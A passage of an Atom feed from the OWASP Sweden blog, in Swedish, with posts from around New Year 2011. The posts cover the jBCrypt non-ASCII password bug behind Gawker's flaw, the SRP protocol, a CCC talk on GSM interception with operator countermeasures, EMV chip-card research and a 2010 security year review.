href='http://owaspsweden.blogspot.com/feeds/2205360328580311666/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2205360328580311666' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2205360328580311666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2205360328580311666'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/01/ny-fuzzer-hittar-100-buggar-i-webkit-ff.html' title='Ny fuzzer hittar 100 buggar i WebKit, FF, IE och Opera'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1546389750568169130</id><published>2010-12-31T11:14:00.003+01:00</published><updated>2011-01-03T13:15:00.930+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='jBCrypt'/><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='Gawker'/><category scheme='http://www.blogger.com/atom/ns#' term='bcrypt'/><category scheme='http://www.blogger.com/atom/ns#' term='lösenord'/><title type='text'>Icke-ASCII blir '?' i lösenord hos Gawker</title><content type='html'>Jag har ägnat ett par dagar åt att rota i vettiga lösningar på lösenordshantering i kölvattnet av Gawker-hacket och alla &lt;a href="http://www.duosecurity.com/blog/entry/brief_analysis_of_the_gawker_password_dump"&gt;de knäckta lösenordshasharna&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Individuell saltning av varje lösenord löser &lt;i&gt;rainbow table&lt;/i&gt;-problemet. Men så länge användare tillåts ha korta lösenord (Amazon och Apple tillåter exempelvis sex tecken) så är ren &lt;i&gt;brute force&lt;/i&gt; fullt möjligt. Och det blir inte bättre i takt med att datorer blir snabbare.&lt;br /&gt;&lt;br /&gt;Bästa alternativen verkar vara &lt;i&gt;Secure Remote Password protocol&lt;/i&gt; som jag &lt;a href="http://owaspsweden.blogspot.com/2010/12/secure-remote-password-protocol.html"&gt;skrev om&lt;/a&gt; i förrgår eller att nyttja maximal långsamhet i Blowfish, det vill säga &lt;a href="http://en.wikipedia.org/wiki/Crypt_(Unix)#Blowfish-based_scheme"&gt;bcrypt à la OpenBSD&lt;/a&gt;. Olle Segerdahl kommenterade bloggen med dessa tips i februari i år under mitt inlägg om &lt;a href="http://owaspsweden.blogspot.com/2010/02/se-upp-med-genererad-tostring.html"&gt;genererade &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;toString()&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;ДДДДДДДД == 簡簡簡簡簡簡簡簡 == ©©©©©©©©?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Joseph Bonneau, doktorand vid Cambridge, upptäckte att Gawker tolkar alla &lt;a href="http://tech.gawker.com/5717059/does-your-password-contain-non+latin-characters"&gt;icke-ASCII-tecken i lösenord som likvärdiga&lt;/a&gt;. Dvs du kan logga in på ett konto som har lösenordet "ДДДДДДДД" med valfritt annat icke-ASCII-lösenord med samma antal tecken, t ex "簡簡簡簡簡簡簡簡" och "©©©©©©©©".&lt;br /&gt;&lt;br /&gt;Problemet visade sig vara en bugg i &lt;a href="http://www.mindrot.org/projects/jBCrypt/"&gt;jBCrypt&lt;/a&gt;&amp;nbsp;innan v 0.3&amp;nbsp;där alla icke-ASCII-tecken byttes ut mot '?' innan hashning. Det finns beskrivet i en &lt;a href="http://seclists.org/bugtraq/2010/Feb/5"&gt;advisory&lt;/a&gt; från februari i år.&lt;br /&gt;&lt;br /&gt;Fyra slutsatser:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Uppgradera om ni använder jBCrypt &amp;lt; 0.3.&lt;/li&gt;&lt;li&gt;Använd bara ASCII-tecken i era lösenord och låt istället längden ge er säkerhet mot &lt;i&gt;brute force&lt;/i&gt;. Det är bra när ni är utomlands också.&lt;/li&gt;&lt;li&gt;Gawker kör åtminstone nu bcrypt vilket trots allt hedrar dem.&amp;nbsp;Alla ni med vanliga lösenordshashar i databasen bör ta en funderare.&lt;/li&gt;&lt;li&gt;Om Gawker körde bcrypt redan i våras så var det särdeles dumt att inte uppgradera jBCrypt till 0.3 när patchen kom i februari. Om de driftsatte jBCrypt 0.2 efter hacket så var det ännu dummare. Men det sätter återigen fingret på ramverks- och bibliotekspatchning. Vem håller koll på alla säkerhetsuppdateringar i olika lib man har länkat in? "Ingen" är min gissning i de flesta fall.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Gott nytt år!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1546389750568169130?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1546389750568169130/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1546389750568169130' title='2 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1546389750568169130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1546389750568169130'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/icke-ascii-blir-i-losenord-hos-gawker.html' title='Icke-ASCII blir &apos;?&apos; i lösenord hos Gawker'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1815371322823098753</id><published>2010-12-29T22:19:00.002+01:00</published><updated>2011-01-03T13:17:31.437+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SRP'/><category scheme='http://www.blogger.com/atom/ns#' term='Secure Remote Password Protocol'/><category scheme='http://www.blogger.com/atom/ns#' term='lösenordshantering'/><title type='text'>Secure Remote Password Protocol</title><content type='html'>Du ska logga in och etablera en symmetrisk sessionsnyckel.&lt;br /&gt;&lt;br /&gt;Attackeraren känner till autentiseringsalgoritmen.&lt;br /&gt;Attackeraren har ordbok och topplista på lösenord.&lt;br /&gt;Attackeraren kan avlyssna all klient/server-trafik tills du har din symmetriska nyckel.&lt;br /&gt;Attackeraren kan avbryta, ändra och förfalska klient/server-trafik.&lt;br /&gt;Det finns ingen betrodd tredje part.&lt;br /&gt;Du vill ha något säkrare än SSH och snabbare än ren Diffie-Hellman.&lt;br /&gt;Du vill ha &lt;i&gt;zero-knowledge password proof&lt;/i&gt;, dvs du visar aldrig lösenordet utan bevisar bara att du har lösenordet.&lt;br /&gt;Du vill inte att en &lt;i&gt;SQL injection&lt;/i&gt; ska ge attackeraren en vanlig lösenordshash (MD/SHA) att knäcka. Inte ens en statiskt saltad hash duger för dig.&lt;br /&gt;Du vill använda ett enkelt lösenord.&lt;br /&gt;&lt;br /&gt;Du vill ha ...&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Secure_Remote_Password_protocol"&gt;http://en.wikipedia.org/wiki/Secure_Remote_Password_protocol&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Version 6, hårdgranskat, från Stanford. Så coolt att jag baxnar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1815371322823098753?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1815371322823098753/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1815371322823098753' title='5 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1815371322823098753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1815371322823098753'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/secure-remote-password-protocol.html' title='Secure Remote Password Protocol'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3723475818679491265</id><published>2010-12-29T18:31:00.004+01:00</published><updated>2010-12-29T18:46:41.436+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rainbow table'/><category scheme='http://www.blogger.com/atom/ns#' term='krypto'/><category scheme='http://www.blogger.com/atom/ns#' term='2G'/><category scheme='http://www.blogger.com/atom/ns#' term='GSM'/><title type='text'>Avlyssna GSM med 4 billiga mobiler + laptop</title><content type='html'>GSM, eller 2G, har ju fått en hel del stryk på sistone, inte minst i somras på Defcon. Nu verkar spelet slutligen vara över för GSM-säkerheten. Åtminstone tills operatörerna gör förändringar.&lt;br /&gt;&lt;br /&gt;Med hjälp av fyra stycken enkla mobiltelefoner för ca 100 kr styck och en laptop så visade man lajv att man kunde avlyssna GSM-samtal och sms på&amp;nbsp;&lt;i&gt;&lt;a href="http://www.ccc.de/"&gt;Chaos Computer Club&lt;/a&gt;s&lt;/i&gt; (CCC) årliga kongress. Wired skriver om det &lt;a href="http://www.wired.com/threatlevel/2010/12/breaking-gsm-with-a-15-phone-plus-smarts/"&gt;här&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Steg 0 – lokalisera offrets geografiska område&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Om vi tänker oss att vi ska avlyssna någon så börjar det hela med att komma tillräckligt nära geografiskt. Presentatörerna visade hur man med vanliga anrop på Internet kan ta reda på i vilken stad eller vilket område en mobil befinner sig. Det sker genom att operatörerna är ganska öppna med &lt;i&gt;routing&lt;/i&gt;-information för att slussa samtal och sms rätt.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Steg 1 – hitta nätverks-id för offrets telefon&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;De fyra avlyssningsmobilerna uppdaterades med ny firmware för att kunna vidarebefordra den fullständiga GSM-trafiken till laptopen. Sen skickas trasiga sms till det telefonnummer man vill avlyssna. De trasiga sms:en kommer inte synas på offrets telefon men ger attackeraren chansen att ta reda på vilket nätverks-id offrets telefon har fått tilldelat av operatören. Det i sin tur är nyckeln till att veta vilken trafik som ska avlyssnas i GSM-nätet, nämligen all trafik till och från det nätverks-id:t.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Steg 2 – knäck kryptot&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;När nu offrets krypterade mobiltrafik kan avlyssnas så gäller att knäcka GSM-kryptot. Det görs genom att utnyttja brister i operatörens systemkommunikation med sina kunders mobiltelefoner. Den kommunikationen är nämligen känd hur den ser ut, t ex regelbundna "Är du där?"-meddelanden.&lt;br /&gt;&lt;br /&gt;Attackeraren vet att meddelandet i klartext är "Är du där?" och har avlyssnat hur det ser ut i krypterad form (kryptotexten). Sen används en regnbågstabell (&lt;i&gt;rainbow table&lt;/i&gt;) på 2 TB med förberäknade kryptotexter för olika nycklar. Inom 20 sekunder hittar man vilken kryptonyckel som används för offret och vips så kan man avlyssna trafiken. Observera att man utan besvär kan spela in den trafik som försiggår under de 20 sekunder man letar efter rätt nyckel. Varje kryptonyckel används typiskt för flera samtal eller sms i rad.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Åtgärder&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Presentatörena på CCC gick igenom några enkla åtgärder som mobiloperatörerna bör vidta:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Se till att &lt;i&gt;routing&lt;/i&gt;-information inte är så enkelt tillgänglig via nätet&lt;/li&gt;&lt;li&gt;Implementera den redan standardiserade ändringen att lägga till slump ("salta") systemkommunkationen till mobilerna så att kryptot blir svårare att knäcka&lt;/li&gt;&lt;li&gt;Byt kryptonyckel varje samtal och sms istället för att återanvända den&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3723475818679491265?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3723475818679491265/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3723475818679491265' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3723475818679491265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3723475818679491265'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/avlyssna-gsm-med-4-billiga-mobiler.html' title='Avlyssna GSM med 4 billiga mobiler + laptop'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3358308164753793371</id><published>2010-12-27T00:14:00.002+01:00</published><updated>2010-12-27T00:16:10.592+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='chipkort'/><category scheme='http://www.blogger.com/atom/ns#' term='EMV'/><category scheme='http://www.blogger.com/atom/ns#' term='Cambridge'/><title type='text'>Nytt om EMV-hacket</title><content type='html'>Ni minns säkert vårens snackis om Cambridge-hacket mot chipförsedda betal- och kreditkort och standarden EMV. Jag bloggade i alla fall om det:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/02/hacket-mot-chipkort.html"&gt;Hacket mot chipkort&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/02/svensk-bank-om-hacket-mot-chipkort.html"&gt;Svensk bank om hacket mot chipkort&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/02/bbc-film-med-hacket-mot-chipkort.html"&gt;BBC-film med hacket mot chipkort&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/02/pin-kontroll-online-i-sverige.html"&gt;PIN-kontroll online i Sverige?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Cambridge-gruppen har förstås forskat vidare och i somras publicerades &lt;i&gt;"The Smart Card Detective:&amp;nbsp;a hand-held EMV interceptor"&lt;/i&gt; (&lt;a href="http://www.cl.cam.ac.uk/~osc22/docs/mphil_acs_osc22.pdf"&gt;pdf&lt;/a&gt;).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Delar av bankvärlden gillade inte den publikationen och skrev ett uppfordrande brev till universitetet. Nu har Ross Anderson svarat, punkt för punkt, under rubriken &lt;i&gt;"Responsible disclosure and academic freedom"&lt;/i&gt; (&lt;a href="http://www.cl.cam.ac.uk/~rja14/Papers/ukca.pdf"&gt;pdf&lt;/a&gt;). Läsvärt.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-3358308164753793371?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/3358308164753793371/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=3358308164753793371' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3358308164753793371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/3358308164753793371'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/nytt-om-emv-hacket.html' title='Nytt om EMV-hacket'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2580830151704331210</id><published>2010-12-26T21:25:00.007+01:00</published><updated>2010-12-27T00:45:28.088+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='Årskrönika'/><title type='text'>Årskrönika 2010</title><content type='html'>Det är mellandagsrea och dags att summera ännu ett år inom applikationssäkerhetsscenen.&lt;br /&gt;&lt;br /&gt;Jag börjar självklart med ...&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;OWASP AppSec Research 2010&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Den stora händelsen för OWASP Sweden var förstås värdskapet för OWASP AppSec, den globala konferensen inom applikationssäkerhet. Två dagar med fem olika kurser och två dagar med tre parallella spår och en blandning av akademiska presentationer och industripresentationer.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_tONVxa3WGQM/S-aR4gYCR0I/AAAAAAAAAR0/8egMhf98K7Y/s1600/OWASP_AppSec_Research_2010_Sqaure_Banner.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_tONVxa3WGQM/S-aR4gYCR0I/AAAAAAAAAR0/8egMhf98K7Y/s1600/OWASP_AppSec_Research_2010_Sqaure_Banner.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ärligt talat så höll det hela på att knäcka mig. Jag uppskattar min egen arbetsinsats till ~1000 timmar. Därtill kommer kommitténs hårda arbete – tack Mattias, Stefan, Martin, Alan, Carl-Johan, Michael, Kåre, Ulf och Predrag! Kate och Sebastien från OWASP är också väl värda sitt tack. På upploppet så drog jag in min flickvän Johanna och hennes kompis Marie också.&lt;br /&gt;&lt;br /&gt;Men det var värt det. Att se det hela fungera och med 270 nöjda deltagare är en stor känsla. Dave Wichers, ansvarig för konferensfrågor i OWASP-styrelsens mejl efteråt var ännu större:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;"I just wanted to thank you and your team for doing an AMAZING job at the OWASP Sweden conference. This was the best organized conference ever.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;(...)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;And financially it was outstanding as well! Looks like close to $100K to the good, which blows away any other European conference by far. OWASP really needs the funds as things have been very tight the past two years and this is extremely helpful to us."&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Så, sponsorer, alla som var där och alla som hjälpte till – sträck på er! Vi gjorde det och vi har gjort något riktigt bra för OWASP-stiftelsen!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;Applikationssäkerhet 2010&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;År 2010 har varit spännande på applikationssäkerhetsscenen. Min summering ...&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Ny OWASP Top 10&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Vi var med och spikade en ny OWASP Top 10. Många frågade sig varför den är så lik listan från 2007. Det frågar vi alla oss :/. Men jag känner faktiskt att nummer 1 – &lt;i&gt;Injection&lt;/i&gt; – är på väg att blekna. Ett i många fall lätt problem att undvika och något som utvecklare har tagit till sig.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Största smällen enligt mig&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Men jag tycker inte att OWASP Top 10 2010 har varit mest spännande utan faktiskt något som var på väg in på topp-tio-listan men som till slut ansågs sortera under det flummiga "&lt;i&gt;A6. Security Misconfiguration&lt;/i&gt;". Vad? Jo, ramverkssäkerhet. Under 2010 så small det rejält i tre stora webbramverk:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/06/arbitrary-code-execution-i-spring.html"&gt;Spring MVC i juni&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/07/remote-execution-i-struts-2.html"&gt;Struts 2 i juli&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blogs.technet.com/b/srd/archive/2010/09/17/understanding-the-asp-net-vulnerability.aspx"&gt;ASP.NET i september&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Sanning och säga, det rörde sig ju om säkerhetsbuggar i ramverken och inget som de lokala utvecklarna kunde hållas ansvariga för. Samtidigt så satte det fingret på hur applikationslagret har blivit en allt viktigare komponent att hålla koll på. Ovanstående problem gick inte att lösa med någon normal patchhantering. Nej, utvecklarna fick kallas in oavsett tid på dygnet eller semesterplanering för att patcha, regressionstesta och driftsätta. Jag tror många säkerhetsansvariga har fått en del att fundera på sen dess. Vilka teknikval görs och av vem? Ska vi ha rutiner för "patchning" i applikationslagret? Vilka versioner av webbramverken (ofta flera) är i drift?&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Säkerhetssansvariga + applikationssäkerhet = falskt?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;I samband med ovanstående säkerhetsproblem i ramverk blev jag ganska ledsen över att vårt OWASP AppSec-erbjudande till SIG Securitys medlemmar bara lockade en enda person. Om någon förstår varför så får ni gärna berätta. Applikationssäkerhet och engagemang i utvecklingsavdelningen är en av säkerhetsfolkets viktigaste arenor när vi nu går mot 2011. Brandväggar, patchhantering, nätverkskonfiguration och policys i all ära men man måste också intressera sig för de applikationer som organisationen utvecklar och förvaltar.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;SDLC till Sverige&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;2010 var också året då vi (= företaget jag arbetar på) började få flera frågor om hjälp med&amp;nbsp;&lt;i&gt;Security Development Lifecycle&lt;/i&gt; (SDLC). Flera stora svenska organisationer håller på att införa en SDLC och jag tror det kommer prägla 2011. Frågan är hur väl SDLC gifter sig med agila metoder och om säkerhets- eller utvecklingsavdelningen ska ha hand om SDLC-införandet och -förvaltandet?&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Alla väntar på Internet Explorer 9&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Microsoft gav sig återigen in i webbkriget med Internet Explorer 9 (än så länge beta). Kanske skönjer vi ett slut på ökenvandringen där webbutvecklare ägnade manmånader åt att få en i övrigt utmärkt app eller sajt att fungera i IE6-8. Om vi bara kan få alla stora organisationer att uppgradera till Windows 7 + Internet Explorer 9 under 2011 så går vi en lysande framtid till mötes, med stöd för HTML 5 och CSS 3.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_tONVxa3WGQM/TRehih1bt3I/AAAAAAAAAbU/vmkNwgukeZ0/s1600/IE9_Beta.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_tONVxa3WGQM/TRehih1bt3I/AAAAAAAAAbU/vmkNwgukeZ0/s1600/IE9_Beta.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Men är inte HTML 5 och CSS 3 en abyss av säkerhetshot? Jo, det finns mycket elände längs vägen framåt. Mario Heiderich underhåller en tämligen &lt;a href="http://heideri.ch/jso/"&gt;diger lista på problem&lt;/a&gt; som kan relateras till webbens sentida utveckling. Och den växer typ dagligen.&lt;br /&gt;&lt;br /&gt;Samtidigt så är ju webben framtiden. Vi inom applikations- och webbsäkerhet ska baske mig se till att alla utvecklare kan skapa nya, grymma tjänster utan att behöva tänka på säkerhet 25 % av tiden. Webbläsar- och RFC-makarna är viktiga komponenter. Engagera er i de nya teknikerna. Läs specarna, ifrågasätt och rota runt. Sånt är vi bra på och bör bidra med.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;Säkerhet 2010&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Om vi blickar utanför applikationslagret så finns förstås en hel del intressanta säkerhetshändelser 2010.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Cyberkrig 1: Stuxnet&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Stuxnet har goda chanser att gå till historien som 2010 års stora säkerhetshändelse. Kanske får vi aldrig reda på dess bakgrund eller syfte men bara det faktum att vi på allvar tror att en eller flera stater låg bakom det och att syftet var att sänka en kärnkrafts/-vapenindustri är nog för en Bondfilm. Cyberkrigföring har varit känt länge inom säkerhetskretsar men nu är det ett allmänt känt fenomen och något som försvarsmakter, politiker, industrier och polismyndigheter måste förhålla sig till.&lt;br /&gt;&lt;br /&gt;Intressant nog så har Stuxnet inte på ett nog tydligt sätt väckt frågan om den många gånger skandalöst dåliga IT-säkerheten i vår infrastruktur, t ex elförsörjningen.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Cyberkrig 2: DoS mot Wikileaks&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Alla &lt;i&gt;denial-of-service&lt;/i&gt;-attacker mot Wikileaks och hur de flyttade runt sajten är en tekniskt och affärsmässigt mycket intressant resa. De jag pratat med tror Amazon primärt tänkte på alla förlorade dollar som låg i en upprörd amerikansk allmänhet mitt i julhandeln.&lt;br /&gt;&lt;br /&gt;Inom OWASP har dessa attacker väckt frågan om hur man effektivast skyddar sig mot DoS-attacker. För det är betydligt fler än Wikileaks som utsätts för DoS och DDos. Många gånger handlar det om utpressning men som i fallet med The Jester så är det hacktivism det handlar om. En enskild person med en politisk agenda kan få för sig att attackera valfria sajter och vi borde hjälpas åt att ta fram praxis för hur man skyddar sig.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Cyberkrig 3: DDoS mot Visa och MasterCard&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Sen har vi ju LOIC-attackerna mot exempelvis Visa och MasterCard. Det kan närmast liknas vid massdemonstrationer på nätet som &lt;a href="http://www.guardian.co.uk/commentisfree/2010/dec/17/anonymous-wikileaks-protest-amazon-mastercard"&gt;Richard Stallman skrev&lt;/a&gt;. Att kalla det för intrång eller attacker blir svårt. Det blir förstås en uppsåtsfråga eftersom samma typ av belastning uppstår under extrema nyhetshändelser såsom 9/11-bombningarna och tsunamin. Är man kriminell för att man hämtar en jpg med HTTP GET flera gånger? Kanske. Godtycke är dock det första jag vill bli av med i den frågan.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Gräv och du skall finna&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Under 2010 skedde ett antal uppmärksammade hack som i princip byggde på att någon börjat gräva i ett hörn av tekniken och förstås hittat en massa säkerhetshål. Exempel:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.lightbluetouchpaper.org/2010/02/11/chip-and-pin-is-broken/"&gt;Handla med ett stulet chipkort utan att kunna PIN-koden&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a 